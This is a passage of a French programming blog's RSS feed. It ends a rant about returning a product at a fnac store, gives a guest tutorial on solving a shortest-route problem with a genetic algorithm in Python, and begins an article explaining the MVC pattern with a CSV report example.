+<p>L&#8217;autre accueil me dit que pour l&#8217;électronique, ce sont les vendeurs qui s&#8217;en occupent. Je cherche un vendeur, et tombe sur un mec qui est en fait vendeur Microsoft, pas fnac. Donc je vais en trouver un autre, qui est entouré de personnes qui lui posent des questions essentielles comme la couleur des barrettes de RAM, si l&#8217;anti-virus le protège contre le terrorisme et où sont les toilettes. Je fais donc la queue.</p>
+<p>Le vendeur me signale qu&#8217;il me faut un bon de circulation pour cela, qu&#8217;il faut demander au vigile. Je retourne voir mon vigile à l&#8217;entrée, qui fouille le sac d&#8217;un mec alors que bien entendu seule la police est autorisée à faire ça. J&#8217;attends, mon tour. Je fais donc la queue.</p>
+<p>Je chope le bon, retourne voir le vendeur, qui entre temps a changé de place alors qu&#8217;il avait dit qu&#8217;il m&#8217;attendrait. Je le retrouve, traitant un autre client. Je fais donc la queue.</p>
+<p>Il me fais mon retour produit et m&#8217;annonce la couleur : ce sera un avoir. Donc uniquement valable dans les magasins fnac, et à utiliser dans les 3 mois. La partie fun maintenant : on ne peut pas le diviser, il va falloir que je fasse un achat de 150 euros. Joie.</p>
+<p>Je note mentalement que j&#8217;achèterai avec 150 euros de carte cadeau, utilisable un an et divisible. Quand on fait une coloscopie, on choisit son hôpital.</p>
+<p>Mais l&#8217;avoir n&#8217;est pas valable tant qu&#8217;il n&#8217;est pas validé en caisse, donc j&#8217;y vais pour, vous l&#8217;avez deviné, faire la queue.</p>
+<p>A ce stade, la magasin ferme. Si, si. Je suis parti de chez moi en fin début d&#8217;après midi, et je sors du magasin à la fermeture. Pour me faire faire fouiller mon sac par le vigile. </p>
+<p>Je hais les magasins. Je hais acheter des trucs.</p>
+<p>Parce que même quand tout se passe bien (en supposant que ça ne tombe pas en panne, parce que là, c&#8217;est reparti pour l&#8217;Iliade version longue avec bonus DVD et sous-titrage en russe), l&#8217;histoire ne s&#8217;arrête pas là. L&#8217;objet prend de la place. Il faut le ranger. Occasionnellement le nettoyer ou l&#8217;entretenir. Et le transporter quand on déménage. Puis en disposer quand il arrive en fin de vie, ce qui, si on est sensible à l&#8217;écologie, suppose l&#8217;amener au bon point de recyclage. En l’occurrence, la fnac.</p>
+<p>Je ne comprends pas comment &#8220;faire du shopping&#8221; peut être considéré comme un passe temps. </p>
+ <p><a href="http://sametmax.com/?flattrss_redirect&amp;id=8312&amp;md5=c1d545fa718679ade1bd5c04c792ca06" title="Flattr" target="_blank"><img src="http://sametmax.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!"/></a></p>]]></content:encoded>
+ <wfw:commentRss>http://sametmax.com/pourquoi-jai-horreur-dacheter/feed/</wfw:commentRss>
+ <slash:comments>25</slash:comments>
+ <atom:link rel="payment" title="Flattr this!" href="https://flattr.com/submit/auto?user_id=sam_et_max&amp;popout=1&amp;url=http%3A%2F%2Fsametmax.com%2Fpourquoi-jai-horreur-dacheter%2F&amp;language=en_GB&amp;category=text&amp;title=Pourquoi+j%26%238217%3Bai+horreur+d%26%238217%3Bacheter&amp;description=J%26%238217%3Bach%C3%A8te+rarement+des+trucs+neufs.+D%C3%A9j%C3%A0%2C+il+faut+que+%C3%A7a+soit+utile%2C+que+%C3%A7a+prenne+pas+trop+de+place%2C+et+que+%C3%A7a+se+d%C3%A9place+facilement+vu+que+je+bouge+tout...&amp;tags=gadget%2Cmeta%2Crhaaaa%2Cblog" type="text/html" />
+<enclosure url="http://sametmax.com/wp-content/uploads/2013/12/fzRDSep.jpg" length="438658" type="image/jpg" /> </item>
+ <item>
+ <title>Du Darwinisme pythonien</title>
+ <link>http://sametmax.com/du-darwinisme-pythonien/</link>
+ <comments>http://sametmax.com/du-darwinisme-pythonien/#comments</comments>
+ <pubDate>Thu, 12 Dec 2013 10:13:22 +0000</pubDate>
+ <dc:creator>golgotha</dc:creator>
+ <category><![CDATA[Programmation]]></category>
+ <category><![CDATA[algorithme]]></category>
+ <category><![CDATA[génétique]]></category>
+ <category><![CDATA[python]]></category>
+
+ <guid isPermaLink="false">http://sametmax.com/?p=8171</guid>
+ <description><![CDATA[Qui n'a jamais rêvé de cloner des <del datetime="2013-12-02T19:59:20+00:00">moutons</del> clara morgane et de s'adonner à des expérimentations scientifiques de haut niveau ?]]></description>
+ <content:encoded><![CDATA[<p style="text-align: center;"><em><small>Ceci est un post invité de <a href="http://sametmax.com/author/golgotha/">golgotha</a> posté sous licence <a href="http://creativecommons.org/licenses/by/3.0/">creative common 3.0 unported</a>.</small></em></p>
+<p>Qui n&#8217;a jamais rêvé de cloner des <del datetime="2013-12-02T19:59:20+00:00">moutons</del> clara morgane et de s&#8217;adonner à des expérimentations scientifiques de haut niveau ?</p>
+<p>Bon ici, nous n&#8217;avons pas de clara morgane sous la main pour notre expérience mais, avec le python et les théories scientifiques de Darwin, on peut faire quelques trucs sympas : On va essayer de déterminer le plus court chemin à prendre pour relier plusieurs points entre eux, le truc cool c&#8217;est que pour solutionner le problème on va utiliser un algorithme génétique.</p>
+<p>De la génétique dans du python ?!</p>
+<p>En fait c&#8217;est assez simple (encore des termes barbares pour épater les copains..), écoutez bien, je vous explique le concept : on va faire des individus, chaque individu va faire un parcours en fonction des points du tracé en paramètre. A la fin, on note chaque individu avec un score, le score étant la longueur du parcours de l&#8217;individu. Vous suivez toujours ? Bien. On prend les meilleurs (Normal) et on les accouple avec des moins bons (faut les pousser un peu, au début ils sont timides mais, après ça va tout seul, c&#8217;est même l&#8217;orgie parfois&#8230;) ce qui donne une nouvelle population, normalement un poil meilleure que l&#8217;ancienne qu&#8217;on va vite mettre à la poubelle. On recommence le processus <code>n</code> fois et à la fin, on devrait arriver à des super individus, genre blonds aux yeux bleus qui parlent 14 langues : ça c&#8217;est notre solution.</p>
+<p>Passons aux travaux pratiques !</p>
+<p>Je commence par déclarer deux variables globales, la population et la liste de points.</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">population = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
+a_map = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span></pre></div></div>
+
+<p>Ensuite on créer une classe Point standard :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">class</span> Point<span style="color: black;">&#40;</span><span style="color: #008000;">object</span><span style="color: black;">&#41;</span>:
+&nbsp;
+ COUNT = <span style="color: #ff4500;">0</span>
+&nbsp;
+ <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, x, y<span style="color: black;">&#41;</span>:
+ <span style="color: #008000;">self</span>.<span style="color: black;">X</span> = x
+ <span style="color: #008000;">self</span>.<span style="color: black;">Y</span> = y
+&nbsp;
+ <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__str__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
+ <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">&quot;Point(%s,%s)&quot;</span><span style="color: #66cc66;">%</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">X</span>, <span style="color: #008000;">self</span>.<span style="color: black;">Y</span><span style="color: black;">&#41;</span>
+&nbsp;
+ <span style="color: #ff7700;font-weight:bold;">def</span> distance<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, other<span style="color: black;">&#41;</span>:
+ dx = <span style="color: #008000;">self</span>.<span style="color: black;">X</span> - other.<span style="color: black;">X</span>
+ dy = <span style="color: #008000;">self</span>.<span style="color: black;">Y</span> - other.<span style="color: black;">Y</span>
+ <span style="color: #ff7700;font-weight:bold;">return</span> sqrt<span style="color: black;">&#40;</span>dx<span style="color: #66cc66;">**</span><span style="color: #ff4500;">2</span> + dy<span style="color: #66cc66;">**</span><span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span></pre></div></div>
+
+<p>Rien de particulier ici, l&#8217;objet nous sera utile plus tard.</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">class</span> Individu<span style="color: black;">&#40;</span><span style="color: #008000;">object</span><span style="color: black;">&#41;</span>:
+&nbsp;
+ <span style="color: #808080; font-style: italic;"># le constructeur de l'objet.</span>
+ <span style="color: #808080; font-style: italic;"># on met le score à zéro.</span>
+ <span style="color: #808080; font-style: italic;"># on peut aussi lui passer la liste de points</span>
+ <span style="color: #808080; font-style: italic;"># pour qu'il initialise une route au hasard.</span>
+ <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, init = <span style="color: #008000;">False</span>, map_point = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>:
+ <span style="color: #008000;">self</span>.<span style="color: black;">score</span> = <span style="color: #ff4500;">0</span>
+ <span style="color: #008000;">self</span>.<span style="color: black;">route</span> = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
+ <span style="color: #ff7700;font-weight:bold;">if</span> init :
+ <span style="color: #008000;">self</span>.<span style="color: black;">set_route</span><span style="color: black;">&#40;</span>map_point<span style="color: black;">&#41;</span>
+&nbsp;
+ <span style="color: #808080; font-style: italic;"># ici on créé une route avec un mélange des points</span>
+ <span style="color: #808080; font-style: italic;"># on utilise shuffle pour mélanger les points.</span>
+ <span style="color: #808080; font-style: italic;"># ensuite on calcul le score, c'est à dire la longueur du trajet.</span>
+ <span style="color: #ff7700;font-weight:bold;">def</span> set_route<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, map_point<span style="color: black;">&#41;</span> :
+ shuffle<span style="color: black;">&#40;</span>map_point<span style="color: black;">&#41;</span>
+ <span style="color: #008000;">self</span>.<span style="color: black;">route</span> = map_point
+ <span style="color: #ff7700;font-weight:bold;">for</span> p <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span>map_point<span style="color: black;">&#41;</span> - <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span> :
+ <span style="color: #008000;">self</span>.<span style="color: black;">score</span> += map_point<span style="color: black;">&#91;</span>p<span style="color: black;">&#93;</span>.<span style="color: black;">distance</span><span style="color: black;">&#40;</span>map_point<span style="color: black;">&#91;</span>p+<span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
+&nbsp;
+ <span style="color: #808080; font-style: italic;"># ici on donne à l'objet la capacité de faire un enfant</span>
+ <span style="color: #808080; font-style: italic;"># ça prend comme paramètre l'objet (lui même), et un autre individu.</span>
+ <span style="color: #808080; font-style: italic;"># on prend la moitié du trajet de l'objet et on complète avec</span>
+ <span style="color: #808080; font-style: italic;"># les points de l'autre individu.</span>
+ <span style="color: #808080; font-style: italic;"># on retourne un enfant, qui est un individu.</span>
+ <span style="color: #ff7700;font-weight:bold;">def</span> croisement<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, other<span style="color: black;">&#41;</span>:
+ child = Individu<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
+ <span style="color: #808080; font-style: italic;"># je prends la moitier de moi-même.</span>
+ wdth = <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">route</span><span style="color: black;">&#41;</span>/<span style="color: #ff4500;">2</span>
+ first_segment = <span style="color: #008000;">self</span>.<span style="color: black;">route</span><span style="color: black;">&#91;</span>:wdth/<span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span>
+ last_segment = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
+ <span style="color: #808080; font-style: italic;"># je complète avec l'autre</span>
+ <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">route</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> :
+ <span style="color: #ff7700;font-weight:bold;">if</span> other.<span style="color: black;">route</span><span style="color: black;">&#91;</span>i<span style="color: black;">&#93;</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #ff7700;font-weight:bold;">in</span> first_segment :
+ last_segment.<span style="color: black;">append</span><span style="color: black;">&#40;</span>other.<span style="color: black;">route</span><span style="color: black;">&#91;</span>i<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
+ child.<span style="color: black;">set_route</span><span style="color: black;">&#40;</span>first_segment + last_segment<span style="color: black;">&#41;</span>
+ <span style="color: #ff7700;font-weight:bold;">return</span> child
+&nbsp;
+ <span style="color: #808080; font-style: italic;"># ici on défini une fonction pour que l'objet puisse se dessiner.</span>
+ <span style="color: #808080; font-style: italic;"># pour cela on utilisera Turtle de python.</span>
+ <span style="color: #ff7700;font-weight:bold;">def</span> show_me<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
+ <span style="color: #dc143c;">turtle</span>.<span style="color: black;">clearscreen</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
+ pen = <span style="color: #dc143c;">turtle</span>.<span style="color: black;">Turtle</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
+ pen.<span style="color: black;">speed</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
+ pen.<span style="color: black;">up</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
+ pen.<span style="color: black;">setpos</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">route</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>.<span style="color: black;">X</span>, <span style="color: #008000;">self</span>.<span style="color: black;">route</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>.<span style="color: black;">Y</span><span style="color: black;">&#41;</span>
+ <span style="color: #ff7700;font-weight:bold;">for</span> point <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">self</span>.<span style="color: black;">route</span> :
+ pen.<span style="color: black;">goto</span><span style="color: black;">&#40;</span>point.<span style="color: black;">X</span>, point.<span style="color: black;">Y</span><span style="color: black;">&#41;</span>
+ pen.<span style="color: black;">down</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
+ pen.<span style="color: black;">dot</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
+&nbsp;
+ pen.<span style="color: black;">goto</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">route</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>.<span style="color: black;">X</span>, <span style="color: #008000;">self</span>.<span style="color: black;">route</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>.<span style="color: black;">Y</span><span style="color: black;">&#41;</span></pre></div></div>
+
+<p>Voilà pour l&#8217;objet individu (pas très inspiré sur le nom j&#8217;avoue..) qui est donc capable maintenant de faire pas mal de choses qui sera utile: se montrer, faire un petit (capacité que beaucoup d&#8217;objet lui envie déjà) et choisir une route parmi une liste de points.</p>
+<p>La suite, j&#8217;ai écris ça dans des fonctions, il y a surement plus propre mais bon, le but est de vous montrer comment fonctionne un algo génétique, je laisserai le soin aux pro du python d&#8217;améliorer le code en lui-même (je ne vais pas faire tout le boulot non plus !)</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;"># initialisation des points de la carte.</span>
+<span style="color: #808080; font-style: italic;"># prend en paramètre un nombre de points.</span>
+<span style="color: #ff7700;font-weight:bold;">def</span> init_map<span style="color: black;">&#40;</span>nb<span style="color: black;">&#41;</span>:
+ <span style="color: #ff7700;font-weight:bold;">global</span> a_map
+ <span style="color: #ff7700;font-weight:bold;">del</span> a_map<span style="color: black;">&#91;</span>:<span style="color: black;">&#93;</span>
+ <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>nb<span style="color: black;">&#41;</span>:
+ p = Point<span style="color: black;">&#40;</span>randint<span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span>, <span style="color: #ff4500;">300</span><span style="color: black;">&#41;</span>, randint<span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span>, <span style="color: #ff4500;">300</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
+ a_map.<span style="color: black;">append</span><span style="color: black;">&#40;</span>p<span style="color: black;">&#41;</span></pre></div></div>
+
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;"># initialisation de la population.</span>
+<span style="color: #808080; font-style: italic;"># prend en paramètre le nombre d'individus à créer.</span>
+<span style="color: #ff7700;font-weight:bold;">def</span> init_pop<span style="color: black;">&#40;</span>nb, map_point<span style="color: black;">&#41;</span>:
+ <span style="color: #ff7700;font-weight:bold;">global</span> population
+ <span style="color: #ff7700;font-weight:bold;">del</span> population<span style="color: black;">&#91;</span>:<span style="color: black;">&#93;</span>
+ <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>nb<span style="color: black;">&#41;</span>:
+ i = Individu<span style="color: black;">&#40;</span><span style="color: #008000;">True</span>, map_point<span style="color: black;">&#41;</span>
+ population.<span style="color: black;">append</span><span style="color: black;">&#40;</span>i<span style="color: black;">&#41;</span></pre></div></div>
+
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;"># fonction qui sert à trier les individus suivant leur score.</span>
+<span style="color: #808080; font-style: italic;"># utile pour trouver les meilleurs.</span>
+<span style="color: #ff7700;font-weight:bold;">def</span> selection<span style="color: black;">&#40;</span>pop<span style="color: black;">&#41;</span>:
+ pop.<span style="color: black;">sort</span><span style="color: black;">&#40;</span>key=<span style="color: #ff7700;font-weight:bold;">lambda</span> x: x.<span style="color: black;">score</span>, reverse=<span style="color: #008000;">True</span><span style="color: black;">&#41;</span></pre></div></div>
+
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;"># dans cette fonction, on sélectionne les 15 meilleurs individus de la population</span>
+<span style="color: #808080; font-style: italic;"># que l'on croise avec les autres individus.</span>
+<span style="color: #808080; font-style: italic;"># la nouvelle population est constituée des 15 meilleurs plus les enfants.</span>
+<span style="color: #ff7700;font-weight:bold;">def</span> croisement<span style="color: black;">&#40;</span>pop<span style="color: black;">&#41;</span>:
+ new_pop = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
+ best_pop = population<span style="color: black;">&#91;</span><span style="color: #ff4500;">85</span>:<span style="color: black;">&#93;</span>
+ <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span>pop<span style="color: black;">&#41;</span>-<span style="color: #ff4500;">15</span><span style="color: black;">&#41;</span> :
+ new_pop.<span style="color: black;">append</span><span style="color: black;">&#40;</span>choice<span style="color: black;">&#40;</span>best_pop<span style="color: black;">&#41;</span>.<span style="color: black;">croisement</span><span style="color: black;">&#40;</span>choice<span style="color: black;">&#40;</span>population<span style="color: black;">&#91;</span><span style="color: #ff4500;">20</span>:<span style="color: #ff4500;">85</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
+ <span style="color: #ff7700;font-weight:bold;">return</span> new_pop + best_pop</pre></div></div>
+
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;"># la fonction principal.</span>
+<span style="color: #808080; font-style: italic;"># on passe en paramètre le nombre de générations que l'on souhaite faire</span>
+<span style="color: #808080; font-style: italic;"># et le nombre de points. </span>
+<span style="color: #808080; font-style: italic;"># Ensuite, on itère selon un algorithme précis :</span>
+<span style="color: #808080; font-style: italic;"># Création d'une population initiale.</span>
+<span style="color: #808080; font-style: italic;"># Sélection puis croisement de la population</span>
+<span style="color: #808080; font-style: italic;"># à chaque génération on regarde si on a un meilleur score</span>
+<span style="color: #808080; font-style: italic;"># si oui, on l'affiche.</span>
+<span style="color: #ff7700;font-weight:bold;">def</span> play<span style="color: black;">&#40;</span>nb_gene, nb_point<span style="color: black;">&#41;</span> :
+ init_map<span style="color: black;">&#40;</span>nb_point<span style="color: black;">&#41;</span>
+ init_pop<span style="color: black;">&#40;</span><span style="color: #ff4500;">100</span>, a_map<span style="color: black;">&#41;</span>
+ best_score = <span style="color: #ff4500;">1000000</span>
+ <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>nb_gene<span style="color: black;">&#41;</span> :
+ <span style="color: #ff7700;font-weight:bold;">global</span> population
+ population = croisement<span style="color: black;">&#40;</span>population<span style="color: black;">&#41;</span>
+ selection<span style="color: black;">&#40;</span>population<span style="color: black;">&#41;</span>
+ <span style="color: #ff7700;font-weight:bold;">if</span> best_score <span style="color: #66cc66;">&gt;</span> population<span style="color: black;">&#91;</span><span style="color: #ff4500;">99</span><span style="color: black;">&#93;</span>.<span style="color: black;">score</span> :
+ best_score = population<span style="color: black;">&#91;</span><span style="color: #ff4500;">99</span><span style="color: black;">&#93;</span>.<span style="color: black;">score</span>
+ <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'meilleur score : '</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>population<span style="color: black;">&#91;</span><span style="color: #ff4500;">99</span><span style="color: black;">&#93;</span>.<span style="color: black;">score</span><span style="color: black;">&#41;</span>
+ population<span style="color: black;">&#91;</span><span style="color: #ff4500;">99</span><span style="color: black;">&#93;</span>.<span style="color: black;">show_me</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>
+
+<p>Voilà le morceau, je pense que j&#8217;ai laissé assez de commentaires dans le code pour bien comprendre comment ça fonctionne et au niveau du python en lui-même il n&#8217;y a vraiment rien de spécial, ici ce qui compte c&#8217;est que vous voyez rapidement comment fonctionne l&#8217;algorithme.</p>
+<p>Alors, maintenant : Pourquoi s&#8217;emmerder à accoupler des objets à 2,78 Ghz ?</p>
+<p>Le problème ci-dessus, un problème dit <a href="http://fr.wikipedia.org/wiki/Problème_NP-complet" title="nb-complet" target="_blank">np-complet</a>, c&#8217;est-à-dire que c&#8217;est la merde pour trouver une solution dans un temps raisonnable si on l&#8217;a fait de façon traditionnelle : pour trouver le meilleur trajet sur 10 points, on sera obligé dans un premier temps de trouver tous les trajets possibles, avec N villes on a (N-1)!/2 trajet possible, le nombre de trajets explose littéralement si N augmente. Avec 100 points il est déjà pratiquement impossible de calculer tous les trajets possibles en un temps raisonnable.</p>
+<p>C&#8217;est là que l&#8217;algorithme génétique est très fort, on arrive très vite à une solution approchée, il est tout de même à noter que le résultat obtenu par l&#8217;algorithme génétique n&#8217;est pas LA solution exact au problème, il donne une solution approchée.</p>
+<p>Dernier point sur le code ci-dessus, ce n&#8217;est que les bases de l&#8217;algorithme génétique, avec ce code vous ne pourrez pas venir à bout d&#8217;un parcours de plus de 20 ou 30 villes, pour cela il faut améliorer l&#8217;algorithme, par exemple le croisement entre deux individus peut être fait de plusieurs façons différentes, dans mon exemple je prends la moitié du &#8220;code génétique&#8221; d&#8217;un individu que je colle à une autre moitié, on peut aussi faire du crossover : c&#8217;est-à-dire qu&#8217;on prend des bouts du code génétique des deux individus alternativement. Ensuite, il y a aussi des mutations génétiques à introduire dans le croisement, à un certain taux, par exemple 1% des croisements entre individus produira une mutation génétique, concrètement : on fait le croisement puis on change aléatoirement des données du code génétique, dans notre exemple on échangera deux points sur le parcours. Cela a pour effet de produire des individus potentiellement meilleurs que les autres, en terme mathématique ça permet aussi de ne pas s&#8217;enfermer dans une solution locale, ce qui est souvent le cas.</p>
+<p>J&#8217;espère ne pas vous avoir complètement perdu avec mes explications et vous avoir donné envie de regarder de plus près cet algorithme que je trouve très élégant.</p>
+ <p><a href="http://sametmax.com/?flattrss_redirect&amp;id=8171&amp;md5=26fc8689f0d88eeb190a0fc3b82bd4c7" title="Flattr" target="_blank"><img src="http://sametmax.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!"/></a></p>]]></content:encoded>
+ <wfw:commentRss>http://sametmax.com/du-darwinisme-pythonien/feed/</wfw:commentRss>
+ <slash:comments>33</slash:comments>
+ <atom:link rel="payment" title="Flattr this!" href="https://flattr.com/submit/auto?user_id=sam_et_max&amp;popout=1&amp;url=http%3A%2F%2Fsametmax.com%2Fdu-darwinisme-pythonien%2F&amp;language=en_GB&amp;category=text&amp;title=Du+Darwinisme+pythonien&amp;description=Ceci+est+un+post+invit%C3%A9+de+golgotha+post%C3%A9+sous+licence+creative+common+3.0+unported.+Qui+n%26%238217%3Ba+jamais+r%C3%AAv%C3%A9+de+cloner+des+moutons+clara+morgane+et+de+s%26%238217%3Badonner+%C3%A0+des+exp%C3%A9rimentations...&amp;tags=algorithme%2Cg%C3%A9n%C3%A9tique%2Cpython%2Cblog" type="text/html" />
+<enclosure url="http://sametmax.com/wp-content/uploads/2013/12/yO8DJCe.jpg" length="30561" type="image/jpg" /> </item>
+ <item>
+ <title>Qu&#8217;est-de que MVC et à quoi ça sert ?</title>
+ <link>http://sametmax.com/quest-de-que-mvc-et-a-quoi-ca-sert/</link>
+ <comments>http://sametmax.com/quest-de-que-mvc-et-a-quoi-ca-sert/#comments</comments>
+ <pubDate>Tue, 10 Dec 2013 08:39:53 +0000</pubDate>
+ <dc:creator>Sam</dc:creator>
+ <category><![CDATA[Programmation]]></category>
+ <category><![CDATA[csv]]></category>
+ <category><![CDATA[mvc]]></category>
+ <category><![CDATA[php]]></category>
+ <category><![CDATA[python]]></category>
+
+ <guid isPermaLink="false">http://sametmax.com/?p=7440</guid>
+ <description><![CDATA[MVC, pour "Modèle, Vue, Contrôleur", est le nom donné à une manière d'organiser son code. C'est une façon d'appliquer le principe de séparation des responsabilités, en l’occurrence celles du traitement de l'information et de sa mise en forme.
+
+Une fois n'est pas coutume je vais donner un exemple en Python <strong>et PHP</strong>, car c'est une question qui hante les codeurs de ce langage. En effet on leur rabâche qu'il faut utiliser MVC, que tel framework est MVC, que leur code à eux ne l'est pas, etc. Sans que nul part, évidement, on ne donne une explication correcte de la notion.]]></description>
+ <content:encoded><![CDATA[<p>MVC, pour &#8220;Modèle, Vue, Contrôleur&#8221;, est le nom donné à une manière d&#8217;organiser son code. C&#8217;est une façon d&#8217;appliquer le principe de séparation des responsabilités, en l’occurrence celles du traitement de l&#8217;information et de sa mise en forme.</p>
+<p>Une fois n&#8217;est pas coutume je vais donner un exemple en Python <strong>et PHP</strong>, car c&#8217;est une question qui hante les codeurs de ce langage. En effet on leur rabâche qu&#8217;il faut utiliser MVC, que tel framework est MVC, que leur code à eux ne l&#8217;est pas, etc. Sans que nulle part, évidement, on ne donne une explication correcte de la notion.</p>
+<p>Long article, petite musique.</p>
+
+<!-- iframe plugin v:2.3 - wordpress.org/extend/plugins/iframe/ -->
+<iframe width="420" height="315" src="//www.youtube.com/embed/Bb1_zqQ-BUA" frameborder="0" scrolling="no" class="iframe-class"></iframe>
+<p><em>(piqué à What the cut :-))</em></p>
+<h2>Principe de base</h2>
+<p>Il n&#8217;y a pas de Tables De La Loi qui disent ce qu&#8217;est le MVC, il y a donc autant de manières de le faire que de programmes. En fait, c&#8217;est un simple principe d&#8217;organisation de code, et il y en a d&#8217;<a href="http://cirw.in//blog/time-to-move-on.html">autres</a>. Mais généralement, c&#8217;est basé sur la répartition suivante :</p>
+<ul>
+<li>Une part du code gère l&#8217;affichage. C&#8217;est la partie &#8220;Vue&#8221;.</li>
+<li>Une part du code gère la manipulation des données. C&#8217;est la partie &#8220;Modèle&#8221;.</li>
+<li>Tout le reste. L&#8217;espèce de merdier qu&#8217;on va mettre en place pour faire marcher le programme, c&#8217;est le contrôleur. Souvent, c&#8217;est le code qui réagit à l&#8217;action de l&#8217;utilisateur, mais pas seulement.</li>
+</ul>
+<p>MVC est typiquement quelque chose d&#8217;abstrait qu&#8217;on ne peut pas comprendre avec une explication seule. Passons donc rapidement à un exemple.</p>
+<p>Imaginons que l&#8217;on ait des tas de fichiers CSV ainsi faits :</p>
+<pre>"Jeu";"Nombre de joueurs Max";"Support"
+"Secret of Mana";"3";"Super Nintendo"
+"Bomberman";"8";"Super Nintendo"
+"Mario Kart";"4";"Nintendo 64"
+"Age of Empire 2";"8";"PC"</pre>
+<p>Et que nous voulions un programme qui fasse un rapport sur le CSV, affichant :</p>
+<pre>Nombre de jeux analysés : 10
+
+Détails
+--------
+
+Support: Super Nintendo
+Nombre de jeux : 2
+Nombre de joueurs max : 8
+
+Support: Nintendo 64
+Nombre de jeux : 1
+Nombre de joueurs max : 4
+
+etc</pre>
+<p>Il y a de nombreuses manières de coder ce programme. Si on le fait en suivant le principe du modèle MVC, on va faire 3 fichiers : un pour le modèle, un pour la vue, et un pour le contrôleur. On peut avoir plus ou moins de 3 fichiers, j&#8217;ai choisi 3 fichiers pour bien illustrer le principe de séparation des responsabilités.</p>
+<h3>Le modèle</h3>
